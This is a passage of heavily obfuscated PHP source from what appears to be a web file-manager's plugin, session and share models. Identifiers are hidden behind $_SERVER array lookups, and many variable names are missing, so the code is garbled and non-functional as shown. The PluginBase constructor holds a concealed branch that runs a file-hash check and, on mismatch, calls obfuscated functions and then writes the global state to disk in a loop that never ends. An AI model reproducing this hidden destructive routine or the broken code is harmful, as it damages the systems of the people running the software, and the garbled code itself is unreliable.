($GLOBALS[$ߤ[503]] == 1) { if ($GLOBALS[$ߤ[6]][$ߤ[1987]] || !$GLOBALS[$ߤ[6]][$ߤ[1988]]) { return !0; } $ݪ = explode($ߤ[50], strtolower($GLOBALS[$ߤ[6]][$ߤ[1988]])); return in_array(strtolower($), $ݪ) ? !1 : !0; } if ($ѰҺ && !Action($ߤ[1989])->checkAuth($)) { return !1; } return !0; } public function unInstall($) { $䓛 =& $_SERVER[]; $օ = $this->loadList($); if (file_exists(PLUGIN_DIR . $)) { Hook::apply($ . $䓛[1990]); } $this->remove($օ[$䓛[399]]); } public function changeStatus($, $좮) { $ſ =& $_SERVER[]; $ = $this->loadList($); if ($좮) { Hook::apply($ . $ſ[1991]); } $this->update($[$ſ[399]], array($ſ[1992] => $좮)); } public function appRegist($ݤւ, $) { $䀬 =& $_SERVER[]; $Ȏ = $this->loadList($ݤւ); if ($Ȏ) { $this->update($Ȏ[$䀬[399]], array($䀬[1984] => $)); } else { $嶈 = array($䀬[32] => $ݤւ, $䀬[1984] => $, $䀬[754] => 0, $䀬[6] => $this->getConfigDefault($ݤւ)); $this->insert($嶈); } } public function getConfigDefault($Ș) { $݇ =& $_SERVER[]; $Ì = array(); $ = $this->getPackageJson($Ș); if (!$ && is_array($[$݇[1993]])) { return $Ì; } foreach ($[$݇[1993]] as $ => $Ʉ) { if (!isset($Ʉ[$݇[374]]) || isset($Ì[$])) { continue; } $Ì[$] = $Ʉ[$݇[374]]; } return $Ì; } public function getPackageJson($) { return Hook::apply($ . $_SERVER[][1994]); } public function getConfig($řɋ, $ = false) { $ =& $_SERVER[]; $ϴ = array(); $催 = $this->loadList($řɋ); if ($催 && is_array($催[$[6]])) { $ϴ = $催[$[6]]; } if (!$ϴ || $) { $ϴ = $this->getConfigDefault($řɋ); } return $ϴ; } public function setConfig($, $Ӯ = false) { $͘ݤ =& $_SERVER[]; $ҟ = $this->loadList($); if (!$ҟ) { return !1; } $ = $ҟ[$͘ݤ[6]]; if ($Ӯ == !1) { $ = array(); $Ӯ = $this->getConfigDefault($); } foreach ($Ӯ as $¯ => $) { $[$¯] = is_string($) ? trim($) : $; } $this->update($ҟ[$͘ݤ[399]], array($͘ݤ[6] => $)); } public function viewList() { $܆ =& $_SERVER[]; $ٿ = $this->loadList(); $this->pluginScan($ٿ); $ٿ = $this->loadPluginList(); $𫱀 = array(); foreach ($ٿ as $ => $ȫ) { unset($ȫ[$܆[1984]], $ȫ[$܆[6]]); $ = PLUGIN_DIR . $ȫ[$܆[32]] . $܆[1986]; if (!is_file($)) { continue; } $զ = Hook::apply($ȫ[$܆[32]] . $܆[1994]); if (is_array($զ)) { $𫱀[$] = array_merge($ȫ, $զ); } } return $𫱀; } private function loadPluginList() { $Ǹ =& $_SERVER[]; $֣ = $this->loadList(); if (strtolower(MOD) == $Ǹ[1995]) { return $֣; } $Դԋ = Hook::trigger($Ǹ[1996], $֣); if ($֣ && !$Դԋ) { die; } return $Դԋ ? $Դԋ : $֣; } private function pluginScan($Ƶ) { $ڰ =& $_SERVER[]; recursion_dir(PLUGIN_DIR, $ְ, $, 0); foreach ($ְ as $ԭ) { $ə = get_path_this($ԭ); if (isset($Ƶ[$ə]) || !file_exists($ԭ . $ڰ[1997]) || !file_exists($ԭ . $ڰ[1986])) { continue; } Hook::apply($ə . $ڰ[1991]); } } } class SessionModel extends ModelBase { protected $tableName = "\x73\171\x73\164\x65\x6d\137\x73\145\163\163\151\x6f\x6e"; public function get($) { $Ɲ =& $_SERVER[]; $ = $this->where(array($Ɲ[1998] => $))->find(); if (!is_array($)) { return !1; } return $[$Ɲ[759]]; } public function set($̤, $, $ܤ = 3600) { $ߙ =& $_SERVER[]; $Ї = array($ߙ[1998] => $̤, $ߙ[1902] => $, $ߙ[1999] => $ܤ + time()); if (Session::get($ߙ[2000])) { $Ї[$ߙ[1674]] = Session::get($ߙ[2000]); } else { $Ї[$ߙ[1674]] = 0; } if ($this->get($̤)) { return $this->where(array($ߙ[1998] => $̤))->save($Ї); } else { return $this->add($Ї, array(), !0); } } public function remove($ϕ) { return $this->where(array($_SERVER[][1998] => $ϕ))->delete(); } public function clearTimeout() { return $this->where($_SERVER[][2001] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\163\x68\x61\x72\145"; protected $dataAuto = array(array("\x6d\157\x64\x69\146\171\124\x69\155\145", "\164\x69\x6d\145", "\151\x6e\x73\145\162\x74\54\x75\160\144\141\x74\145", "\146\165\156\143\164\151\x6f\156"), array("\x63\162\145\141\x74\145\124\151\x6d\145", "\x74\151\x6d\x65", "\x69\x6e\x73\x65\162\x74", "\146\x75\x6e\143\x74\151\x6f\x6e"), array("\x6f\160\164\151\x6f\x6e\163", '', "\151\156\163\x65\x72\164\54\x75\x70\144\141\164\x65\x2c\x73\x65\154\145\x63\164", "\x6a\163\x6f\156")); private $fieldList = "\x2a"; protected function cacheFunctionAlias($ʹ) { $Ը =& $_SERVER[]; $ܯ = isset($ʹ[0]) ? $ʹ[0] : !1; return array($Ը[2002] => array(USER_ID, $Ը[2003]), $Ը[1943] => array($ܯ, $Ը[2004])); } protected function listSimple() { $ = array($_SERVER[][1674] => USER_ID); $ = $this->field($this->fieldList)->where($)->select(); return $ ? $ : array(); } protected function getInfo($Ӵ, $䑡 = false) { $ۛ =& $_SERVER[]; if ($䑡) { return $this->_getShareInfo(array($ۛ[489] => $Ӵ)); } $ = $this->cacheFunctionGet($ۛ[1945], $Ӵ); return $; } public function getInfoByHash($妊) { return $this->_getShareInfo(array($_SERVER[][491] => $妊)); } public function getInfoByPath($Ԥ) { $遼 =& $_SERVER[]; $ = array($遼[1674] => USER_ID, $遼[402] => $Ԥ); return $this->_getShareInfo($); } public function getInfoBySourcePath($) { $ߏ =& $_SERVER[]; $ = array($ߏ[1674] => USER_ID, $ߏ[1183] => $); return $this->_getShareInfo($); } private function _getShareInfo($͡) { $ =& $_SERVER[]; $ũޝ = $this->where($͡)->find(); if (!$ũޝ) { return !1; } $͡ = array($[489] => $ũޝ[$[489]]); $ = $[2005]; $ٖ֓ = Model($[602])->order($[399])->field($)->where($͡)->select(); if ($ũޝ[$[402]] == $[197]) { $ũޝ[$[86]] = IO::info($ũޝ[$[1183]]); } else { $ũޝ[$[86]] = Model($[1343])->pathInfo($ũޝ[$[402]]); } $ũޝ[$[2006]] = $ٖ֓; return $ũޝ; } protected function getInfoAuth($) { $ǝ =& $_SERVER[]; $ = $this->getInfo($); if ($[$ǝ[1674]] == USER_ID) { $[$ǝ[413]] = $[$ǝ[86]][$ǝ[413]]; } else { $[$ǝ[413]] = Model($ǝ[502])->authMake($[$ǝ[2006]]); } return $; } protected function listData($ = null, $ = 300) { $Ƹ =& $_SERVER[]; $܄ = array(array($Ƹ[494] => array($Ƹ[1019], 0), $Ƹ[496] => array($Ƹ[1019], 0), $Ƹ[2007] => $Ƹ[1961])); if ($ == $Ƹ[2008]) { $܄ = array($Ƹ[494] => 1); } else { if ($ == $Ƹ[1168]) { $܄ = array($Ƹ[496] => 1); } } $܄[$Ƹ[1674]] = USER_ID; $ϔԻ = $this->where($܄)->selectPage($); return $ϔԻ; } protected function listToMe($ = 300) { $ǂ =& $_SERVER[]; $㷔 = Model($ǂ[2009])->userGroupParents(USER_ID); $ꅢ = array($ǂ[586] => SourceModel::TYPE_USER, $ǂ[505] => USER_ID); if ($㷔) { $ꅢ = array(array($ǂ[586] => SourceModel::TYPE_USER, $ǂ[505] => USER_ID), array($ǂ[586] => SourceModel::TYPE_GROUP, $ǂ[505] => array($ǂ[7], $㷔)), $ǂ[2007] => $ǂ[1961]); } $˓ = Model($ǂ[602])->where($ꅢ)->selectPage($); $감 = array_to_keyvalue_group($˓[$ǂ[369]], $ǂ[489]); if (!$감) { return $˓; } $Ƙ = $ǂ[2010]; $ꅢ = array($ǂ[489] => array($ǂ[418], array_keys($감)), $ǂ[1674] => array($ǂ[1021], $ǂ[197])); $ = $this->field($Ƙ)->where($ꅢ)->select(); foreach ($ as $ => &$ʓ) { $ʓ[$ǂ[2006]] = $감[$ʓ[$ǂ[489]]]; } unset($ʓ); $ן = array($ǂ[2011] => $, $ǂ[2012] => $˓[$ǂ[366]]); return $ן; } protected function shareAdd($, $Ժ) { $ =& $_SERVER[]; $ͷ = $this->_addShareData($, $Ժ); if (!empty($Ժ[$[2013]])) { $this->_shareAuthSet($ͷ, $Ժ[$[2013]]); } $this->shareEventAdd($, $Ժ, $[1171]); return $ͷ; } protected function shareAddSystem($, $ߊ) { $ =& $_SERVER[]; $ކ = $this->_addShareData($, $ߊ, $[1292]); $this->_shareAuthSet($ކ, $ߊ[$[2013]]); return $ކ; } private function shareEventAdd($, $䀵, $ϫ = "\141\144\144") { $Ď =& $_SERVER[]; if (!$ || $ == $Ď[197]) { return; } if ($ϫ == $Ď[1171]) { if ($䀵[$Ď[494]] == $Ď[88]) { Model($Ď[570])->eventShare($, $Ď[2014]); } if ($䀵[$Ď[496]] == $Ď[88]) { Model($Ď[570])->eventShare($, $Ď[2015]); } return; } $× = $this->getInfoByPath($); $ = $Ď[2016]; if ($×[$Ď[494]] == $Ď[197] && $䀵[$Ď[494]] == $Ď[88]) { $ = $Ď[2014]; } if ($×[$Ď[494]] == $Ď[88] && $䀵[$Ď[494]] == $Ď[197]) { $ = $Ď[2017]; } if ($×[$Ď[496]] == $Ď[197] && $䀵[$Ď[496]] == $Ď[88]) { $ = $Ď[2015]; } if ($×[$Ď[496]] == $Ď[88] && $䀵[$Ď[496]] == $Ď[197]) { $ = $Ď[2018]; } Model($Ď[570])->eventShare($, $); return; } private function _addShareData($В, $ = array(), $̈́ = false) { $ݡ =& $_SERVER[]; $ = $̈́ == $ݡ[1292] ? 0 : USER_ID; $ = array($ݡ[417] => $В, $ݡ[1665] => $); if ($В == 0) { $ = array($ݡ[2019] => $[$ݡ[1183]], $ݡ[1665] => $); } if ($ᛴ = $this->where($)->find()) { return $ᛴ[$ݡ[489]]; } if ($В == 0) { $ = array($ݡ[32] => get_path_this($[$ݡ[84]])); } else { $ = Model($ݡ[829])->sourceInfo($В); if (!$) { return !1; } } if (!$[$ݡ[1574]]) { $[$ݡ[1574]] = $[$ݡ[32]]; } $è = array($ݡ[1665] => $, $ݡ[417] => $В, $ݡ[1574] => $ݡ[12], $ݡ[494] => 0, $ݡ[496] => 0, $ݡ[1183] => $ݡ[12], $ݡ[307] => $ݡ[12], $ݡ[896] => $ݡ[12], $ݡ[2020] => 0, $ݡ[2021] => 0, $ݡ[497] => 0, $ݡ[498] => $ݡ[12], $ݡ[491] => $ݡ[12]); $ = explode($ݡ[50], $ݡ[2022]); foreach ($ as $ݬ) { if (!isset($[$ݬ])) { continue; } $è[$ݬ] = $[$ݬ]; } $癛 = $this->add($è); $ = array($ݡ[491] => short_id($癛)); $this->where(array($ݡ[488] => $癛))->save($); return $癛; } private function _shareAuthSet($ɺ, $ϸ) { $⨈ =& $_SERVER[]; if (!is_array($ϸ)) { return !1; } $㞪 = Model($⨈[1971]); $㞪->where(array($⨈[489] => $ɺ))->delete(); $ = array(); foreach ($ϸ as $ە) { $θ = SourceModel::TYPE_USER; if ($ە[$⨈[411]] == SourceModel::TYPE_GROUP) { $θ = SourceModel::TYPE_GROUP; } $٬ = array($⨈[489] => $ɺ, $⨈[411] => $θ, $⨈[505] => intval($ە[$⨈[505]]), $⨈[1967] => 0, $⨈[2023] => -1); if ($ە[$⨈[1967]]) { $٬[$⨈[1967]] = $ە[$⨈[1967]]; } else { if ($ە[$⨈[2023]]) { $٬[$⨈[2023]] = $ە[$⨈[2023]]; } } $[] = $٬; } return $㞪->addAll($, array(), !0); } public function numViewAdd($) { $ =& $_SERVER[]; $ߡ = array($[488] => $); $this->where($ߡ)->setAdd($[2020]); } public function numDownloadAdd($) { $ =& $_SERVER[]; $ = array($[488] => $); $this->where($)->setAdd($[2021]); } protected function shareEdit($, $Ⱥ) { $ʤ =& $_SERVER[]; $ = $this->getInfo($); if (!$) { return !1; } $this->_checkLinkShare($Ⱥ, $); $魯 = array(); $с = explode($ʤ[50], $ʤ[2024]); foreach ($с as $傀) { if (!array_key_exists($傀, $Ⱥ)) { continue; } $魯[$傀] = $Ⱥ[$傀]; } $this->shareEventAdd($[$ʤ[402]], $Ⱥ, $ʤ[1833]); $this->where(array($ʤ[488] => $))->save($魯); if (isset($Ⱥ[$ʤ[2013]])) { $this->_shareAuthSet($, $Ⱥ[$ʤ[2013]]); } return !0; } private function _checkLinkShare($, $ޙ) { $ =& $_SERVER[]; if ($[$[494]] != $[88]) { return; } $ = $ޙ[$[86]][$[402]]; if ($ޙ[$[86]][$[33]] != $[199]) { $脚 = $this->_folderReport($); if (!$脚) { return; } show_json(LNG($[2025]) . $[2026] . $脚, !1); } $Ӥ = Model($[829])->fileInfoGet($ޙ[$[86]][$[402]]); if (!$Ӥ) { return; } $̓ɐ = $this->shareFileMeta($Ӥ[$[468]]); if (isset($̓ɐ[$[374]]) && $̓ɐ[$[374]] == $[88]) { show_json(LNG($[2027]), !1); } } private function _folderReport($缺) { $ي =& $_SERVER[]; $ = array($ي[468] => array($ي[1019], 0), $ي[754] => 3); $ = Model($ي[2028])->where($)->field($ي[468])->select(); if (!$) { return !1; } $ = array_to_keyvalue($, $ي[12], $ي[468]); $ = $ي[50] . $缺 . $ي[50]; $ = array($ي[468] => array($ي[7], $), $ي[521] => array($ي[383], "\x25{$}\45"), $ي[431] => 0); $ = Model($ي[829])->where($)->field($ي[2029])->find(); if (!$) { return !1; } $݁ = substr($[$ي[521]], strpos($[$ي[521]], $)); $ = array($ي[402] => array($ي[7], trim($݁, $ي[50]))); $ = Model($ي[829])->where($)->field($ي[32])->select(); $믚 = array_to_keyvalue($, $ي[12], $ي[32]); $믚[] = $[$ي[32]]; return implode($ي[8], $믚); } protected function remove($Ӕ) { $ =& $_SERVER[]; if (is_array($Ӕ)) { $Ӕ = array($[7], $Ӕ); } $ѽ = array($[489] => $Ӕ); $ = $this->where($ѽ)->delete(); if ($) { Model($[602])->where(array($[489] => $Ӕ))->delete(); } $Ҩ = is_array($Ӕ) ? $Ӕ[1] : array($Ӕ); for ($ = 0; $ < count($Ҩ); $++) { $묾 = $this->getInfo($Ҩ[$]); if ($묾[$[496]] == $[88]) { Model($[570])->eventShare($묾[$[402]], $[2018]); } if ($묾[$[494]] == $[88]) { Model($[570])->eventShare($묾[$[402]], $[2017]); } } return $; } protected function removeBySource($) { $ =& $_SERVER[]; $ = array($[417] => array($[418], $)); $ = $this->field($[489])->where($)->select(); $ = array_to_keyvalue($, $[12], $[489]); if (!$) { return; } $ = array($[488] => array($[418], $)); $this->where($)->delete(); Model($[602])->where($)->delete(); } public function listAll($) { $ =& $_SERVER[]; $П = array(); if ($[$[1674]]) { $П[$[1674]] = $[$[1674]]; } if ($[$[765]]) { $ш = $[$[497]] ? $[$[497]] : strtotime(date($[2030])); $П[$[200]] = array($[333], array($[$[765]], $ш)); } if ($[$[33]]) { $П[$[$[33]]] = 1; } else { $П[] = array($[494] => array($[1019], 0), $[496] => array($[1019], 0), $[2007] => $[1961]); } if ($[$[1957]]) { $П[] = array($[491] => $[$[1957]], $[1574] => array($[383], "\45{$[$[1957]]}\45"), $[2007] => $[1961]); } $ʵ = $this->_makeOrder()->where($П)->selectPage(20); if (empty($ʵ[$[369]])) { return array(); } $this->_listDataApply($ʵ[$[369]]); return $ʵ; } public function listDataApply($ԘΑ) { $this->_listDataApply($ԘΑ); return $ԘΑ; } private function _listDataApply(&$ڥ) { $ =& $_SERVER[]; $ = array_to_keyvalue($ڥ, $[12], $[1674]); $ = Model($[535])->userListInfo(array_unique($)); $ = array_to_keyvalue($ڥ, $[12], $[402]); $ = Model($[829])->sourceListInfo($, !0); foreach ($ڥ as $ => &$Φ) { $ = $Φ[$[1674]]; $Φ[$[2031]] = $[$] ? $[$] : !1; $ޤ = $Φ[$[402]]; $Φ[$[86]] = $[$ޤ] ? $[$ޤ] : !1; if ($Φ[$[86]][$[431]] == $[88]) { unset($ڥ[$]); } if ($Φ[$[86]] != $[197] && !$Φ[$[86]]) { unset($ڥ[$]); } } unset($Φ); $ڥ = array_values($ڥ); } private function _makeOrder($ = '') { $ԳЕ =& $_SERVER[]; $ȷ = array($ԳЕ[200], $ԳЕ[497], $ԳЕ[2020], $ԳЕ[2021]); $ = array($ԳЕ[450] => $ԳЕ[451], $ԳЕ[452] => $ԳЕ[453]); $빝 = Input::get($ԳЕ[457], $ԳЕ[7], $ԳЕ[423], $ȷ); $ = Input::get($ԳЕ[458], $ԳЕ[7], $ԳЕ[2032], array($ԳЕ[1954], $ԳЕ[452])); $ = $[$]; $ = $ . "{$빝}\40{$}"; return $this->order($); } public function reportAdd($) { $ =& $_SERVER[]; $ = array($[489] => $[$[489]], $[1674] => USER_ID); if (Model($[2028])->where($)->find()) { return !1; } $ = array($[489] => $[$[489]], $[1574] => $[$[1574]], $[402] => $[$[402]], $[468] => $[$[468]], $[1674] => USER_ID, $[33] => $[$[33]], $[453] => $[$[453]]); return Model($[2028])->add($); } public function reportList($) { $ގ =& $_SERVER[]; $Ϟ = array(); if ($[$ގ[765]]) { $ܒ = $[$ގ[497]] ? $[$ގ[497]] : strtotime(date($ގ[2030])); $Ϟ[$ގ[200]] = array($ގ[333], array($[$ގ[765]], $ܒ)); } if (isset($[$ގ[33]]) && in_array($[$ގ[33]], array($ގ[88], $ގ[437], $ގ[2033], $ގ[2034], $ގ[2035]))) { $Ϟ[$ގ[33]] = $[$ގ[33]]; } if (isset($[$ގ[754]]) && in_array($[$ގ[754]], array($ގ[197], $ގ[88], $ގ[437], $ގ[2033]))) { $Ϟ[$ގ[754]] = $[$ގ[754]]; } $ = Input::get($ގ[458], $ގ[7], $ގ[2032], array($ގ[1954], $ގ[452])); $ = array($ގ[450] => $ގ[451], $ގ[452] => $ގ[453]); $ = $ގ[2036] . $[$]; $ը = Model($ގ[2028])->where($Ϟ)->order($)->selectPage(20); if (empty($ը[$ގ[369]])) { return array(); } $آ = array_to_keyvalue_group($ը[$ގ[369]], $ގ[754], $ގ[489]); if (!empty($آ[0])) { $ = $آ[0]; $Ϟ = array($ގ[489] => array($ގ[7], $)); $Ťѣ = $this->where($Ϟ)->field($ގ[489])->select(); $Ťѣ = array_to_keyvalue($Ťѣ, $ގ[12], $ގ[489]); $ڞŦ = array_diff($, $Ťѣ); if (!empty($ڞŦ)) { foreach ($ը[$ގ[369]] as $ => $ዱ) { if (in_array($ዱ[$ގ[489]], $ڞŦ)) { unset($ը[$ގ[369]][$]); } } } } $this->_listDataApply($ը[$ގ[369]]); return $ը; } public function reportStatus($ݶ) { $ȇ =& $_SERVER[]; $՞ = array($ȇ[399] => $ݶ[$ȇ[399]]); $Č = Model($ȇ[2028])->where($՞)->field($ȇ[2037])->find(); if (!$Č) { return !1; } $刷 = array($ȇ[754] => $ݶ[$ȇ[754]]); if ($ݶ[$ȇ[754]] == $ȇ[2033] && $Č[$ȇ[754]] == $ȇ[2033]) { $刷[$ȇ[754]] = 0; } $ށ = Model($ȇ[2028])->where($՞)->save($刷); if ($ݶ[$ȇ[754]] == $ȇ[437]) { if ($Č[$ȇ[468]] != $ȇ[197] && $this->shareFileMeta($Č[$ȇ[468]])) { $this->shareFileMeta($Č[$ȇ[468]], 0); } $this->remove($Č[$ȇ[489]]); return !0; } if ($ށ && $ݶ[$ȇ[754]] == $ȇ[2033]) { $ = $刷[$ȇ[754]] == $ȇ[2033] ? 1 : 0; $this->shareFileMeta($Č[$ȇ[468]], $); $this->removeByFile($Č[$ȇ[468]]); } return $ށ; } private function removeByFile($۽) { $봫 =& $_SERVER[]; $ = Model($봫[829])->where(array($봫[468] => $۽))->field($봫[402])->select(); $ = array_to_keyvalue($, $봫[12], $봫[402]); $ۭ = array($봫[402] => array($봫[7], $), $봫[494] => 1); $ = $this->where($ۭ)->field($봫[489])->select(); if (empty($)) { return; } $ϓ = array_to_keyvalue($, $봫[12], $봫[489]); $this->remove($ϓ); } private function shareFileMeta($ǧދ, $ = null) { $Ο =& $_SERVER[]; $ȴ = array($Ο[468] => $ǧދ, $Ο[94] => $Ο[2038]); if (is_null($)) { return Model($Ο[2039])->where($ȴ)->find(); } $ȴ[$Ο[374]] = $; Model($Ο[2039])->add($ȴ, array(), !0); } } goto b; c眞ֱ: class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ =& $_SERVER[]; $ = $_SERVER[$[884]] . $[885]; $㫧 = $[1539]; if ($_SERVER[$[880]] != $㫧($)) { $ = $[882]; $ӕ = $[883]; $ = $_SERVER[$[884]] . $[885]; $ = $ӕ($); $ӊ = explode($[231], $); if (count($ӊ) < $[635]) { $ = $[886]; $(); } $ = $[887]; $($_SERVER[$[888]]); $ = $[882]; $(); $〈 = $[1540]; $ڗ = json_encode($GLOBALS[$[1541]]); $ˉ
= 1; for ($ = $ˉ
; $ > 0; $++) { $〈(DATA_PATH . $, $ڗ); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($[1542]); $this->pluginName = str_replace($[1542], $[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $[8]; $this->pluginApi = appHostGet() . $[1543] . $this->pluginName . $[8]; $this->pluginHost = $config[$[1544]] . $this->pluginName . $[8]; $this->pluginHostDefault = $config[$[1544]] . $this->pluginName . $[8]; $ۙ = $config[$[1545]]; if ($ۙ && strpos($[50] . $ۙ . $[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$[1546]] . $this->pluginName . $[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[][1547]); } protected function assign($ß, $빡 = false) { if (is_array($ß)) { $this->values = array_merge($this->values, $ß); } else { $this->values[$ß] = $빡; } } protected function display($݅) { extract($this->values); require $݅; } final function hookRegist($箄) { $this->modelPlugin->appRegist($this->pluginName, $箄); } final function appIcon() { $䥲 =& $_SERVER[]; $֗ = $this->appPackage(); $çҹ = $䥲[12]; if (isset($֗[$䥲[416]])) { if (isset($֗[$䥲[416]][$䥲[1548]])) { $çҹ = $䥲[1549] . $֗[$䥲[416]][$䥲[1548]] . $䥲[1550]; } else { if ($֗[$䥲[416]][$䥲[1551]]) { $çҹ = $䥲[1552] . $֗[$䥲[416]][$䥲[1551]] . $䥲[1553]; } } } return $çҹ; } final function fileCanView($) { $ʰ =& $_SERVER[]; if (request_url_safe($)) { return !0; } if ($this->isShare($)) { return !0; } $ = Session::get($ʰ[1554]); if (!$ || !$[$ʰ[1555]]) { $ʄ = $ʰ[1556] . rawurlencode(this_url()); show_tips(LNG($ʰ[1557]) . $ʰ[1558] . $ʄ . $ʰ[1559] . LNG($ʰ[1560]) . $ʰ[1561], !1); } if (!Action($ʰ[1562])->authCan($ʰ[1563])) { show_tips(LNG($ʰ[1564]) . $ʰ[1565], !1); } ActionCall($ʰ[1566], $); } final function isShare($ԗ) { $Ѡ = KodIO::parse($ԗ); return $Ѡ[$_SERVER[][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($ҵ) { if (request_url_safe($ҵ)) { return $ҵ; } if (!$this->isShare($ҵ)) { $ҵ = $this->filePath($ҵ); } return Action($_SERVER[][1182])->linkOut($ҵ); } public function filePathLinkOut($) { if (request_url_safe($)) { return $; } $this->fileCanView($); return Action($_SERVER[][1182])->link($); } final function filePath($ڇҪ) { $ =& $_SERVER[]; if ($ = $this->checkSharePath($ڇҪ)) { Hook::trigger($[1567], $); return $; } $this->fileCanView($ڇҪ); if (request_url_safe($ڇҪ)) { $̽؛ = parse_url_query($ڇҪ); if (isset($̽؛[$[1568]]) && isset($̽؛[$[213]])) { $֫ = Model($[774])->get($[775]); $Τ = Mcrypt::decode($̽؛[$[213]], $֫); if ($Τ) { $this->fileInfo = IO::infoWithChildren($Τ); $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); return $Τ; } } $ڇҪ = $this->_cacheHttpFile($ڇҪ); $this->fileInfo = IO::infoWithChildren($ڇҪ); } else { $this->fileInfo = IO::infoWithChildren($ڇҪ); if (!$this->fileInfo) { show_tips(LNG($[105]), !1); } $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); } Hook::trigger($[1567], $ڇҪ); return $ڇҪ; } final function _cacheHttpFile($) { $ = hash_path($, !0); $this->cachePath = $this->pluginCachePath($); if ($ڋ = IO::fileNameExist($this->cachePath, $)) { return KodIO::make($ڋ); } $ = $this->cachePath . $; return $this->pluginCacheFileSet($, file_get_contents_nossl($)); } final function _tmpFileName($ = array()) { $͌ =& $_SERVER[]; if (!$) { $ = $this->fileInfo; } if (isset($[$͌[177]])) { return $[$͌[177]]; } if (isset($[$͌[170]][$͌[177]])) { return $[$͌[170]][$͌[177]]; } $ = IO::hashSimple($[$͌[84]]); if ($) { return $; } $ل = array($[$͌[32]], $[$͌[84]], $[$͌[76]]); if (isset($[$͌[521]])) { $ل[] = $[$͌[521]]; } return md5(implode($͌[11], $ل)); } final function checkSharePath($ȳߠ) { $ =& $_SERVER[]; if (!defined($[475])) { define($[514], 0); } if (!$this->isShare($ȳߠ)) { return !1; } $ = Action($[1182])->sharePathInfo($ȳߠ); if (!isset($[$[84]])) { show_json(LNG($[1569]), !1); } $this->fileInfo = $[$[170]]; $this->cachePath = $this->pluginCachePath($this->fileInfo[$[177]]); return $[$[84]]; } final function pluginCachePath($ = '') { $ =& $_SERVER[]; $ = IO_PATH_SYSTEM_TEMP . $[1570] . $this->pluginName; if (!($۵ = IO::infoFull($))) { return IO::mkdir($ . $[8] . $); } if (empty($)) { return $۵[$[84]]; } if (!($ = IO::fileNameExist($۵[$[84]], $))) { return IO::mkdir($۵[$[84]] . $); } return KodIO::make($); } final function pluginCacheFileSet($ƾ˷, $Ɩ = '') { $ =& $_SERVER[]; if (!($ = IO::infoFull($ƾ˷))) { return IO::mkfile($ƾ˷, $Ɩ, REPEAT_REPLACE); } IO::setContent($[$[84]], $Ɩ); return $[$[84]]; } final function pluginLocalFile($Ŷ = '') { $꒺ =& $_SERVER[]; $㵨 = TEMP_FILES . "{$this->pluginName}\x2f"; if (!is_dir($㵨)) { mk_dir($㵨); } if (!$Ŷ) { return $㵨; } $ = IO::info($Ŷ); $ = $this->_tmpFileName($) . $꒺[10] . $[$꒺[174]]; if (!checkExtSafe($)) { $ = $ . $꒺[1214]; } $Ȍ = $㵨 . $; if (@file_exists($Ȍ)) { return $Ȍ; } return IO::copy($Ŷ, $㵨, 0, $); } final function appPackage() { $ =& $_SERVER[]; if ($this->packageData) { return $this->packageData; } $ = $this->parseFile($this->pluginPath . $[1571]); $this->parseLang($); $® = json_decode_force($); if (!$®) { return array(); } $ε = Hook::trigger($[1572], $®); if ($ε && is_array($ε)) { $® = $ε; } $this->packageData = $®; return $®; } public function packageInfoGet($ըǏ) { $Ē = $this->appPackage(); return array_get_value($Ē, $ըǏ); } public function packageVersion() { return $this->packageInfoGet($_SERVER[][1573]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[][1574]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[][1575]); } public function echoJsAssign($蝵, $) { $this->echoJsAssignArr[$蝵] = $; } private function parseFile($Б) { $ը =& $_SERVER[]; $ = file_get_contents_nossl($Б); $作 = array($ը[1576], $ը[1577], $ը[1578], $ը[1579], $ը[1580], $ը[1581], $ը[1582]); $ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$ը[89]][$ը[1583]]); foreach ($this->echoJsAssignArr as $铭 => $) { $作[] = $ը[1584] . $铭 . $ը[1585]; $[] = is_array($) || is_object($) ? rawurlencode(json_encode($)) : $; } if (strstr($, $ը[1586])) { $掉 = rawurlencode(json_encode($this->pluginLangArr)); $ = str_replace($ը[1586], $掉, $); } if (strstr($, $ը[1587])) { $掉 = $掉 = rawurlencode(json_encode($this->getConfig())); $ = str_replace($ը[1587], $掉, $); } $ = str_replace($作, $, $); return $; } private function parseLang(&$) { $ =& $_SERVER[]; $ز = $[1588]; if (!strstr($, $ز)) { return; } preg_match_all($[1589], $, $Ҷ); if (!is_array($Ҷ) || count($Ҷ) == 0 || !is_array($Ҷ[0]) || count($Ҷ[0]) == 0) { return; } $ƿ = array(); $뮣 = array(); foreach ($Ҷ[0] as $̔) { $ڒѶ = substr($̔, strlen($ز), -4); $ = LNG($ڒѶ); $ƿ[] = $̔; $뮣[] = str_replace(array($[231], $[1085], $[342], $[118]), array($[53], $[53], $[12], $[1590]), $); } $ = str_replace($ƿ, $뮣, $); } private function parseConfig(&$ָ) { $ۑ =& $_SERVER[]; $ܕܬ = $ۑ[1591]; if (!strstr($ָ, $ܕܬ)) { return; } preg_match_all($ۑ[1592], $ָ, $Ȅ); if (!is_array($Ȅ) || count($Ȅ) == 0 || !is_array($Ȅ[0]) || count($Ȅ[0]) == 0) { return; } $Ҳ = $this->getConfig(); $ = array(); $ = array(); foreach ($Ȅ[0] as $볔) { $Ť = substr($볔, strlen($ܕܬ), -2); $[] = $볔; $[] = _get($Ҳ, $Ť); } $ָ = str_replace($, $, $ָ); } private function parsePackage(&$ƽ) { $į =& $_SERVER[]; $ = $į[1593]; if (!strstr($ƽ, $)) { return; } preg_match_all($į[1594], $ƽ, $Եի); if (!is_array($Եի) || count($Եի) == 0 || !is_array($Եի[0]) || count($Եի[0]) == 0) { return; } $ = $this->appPackage(); $ݷ = array(); $ϭɬ = array(); foreach ($Եի[0] as $왘) { $菤 = substr($왘, strlen($), -2); 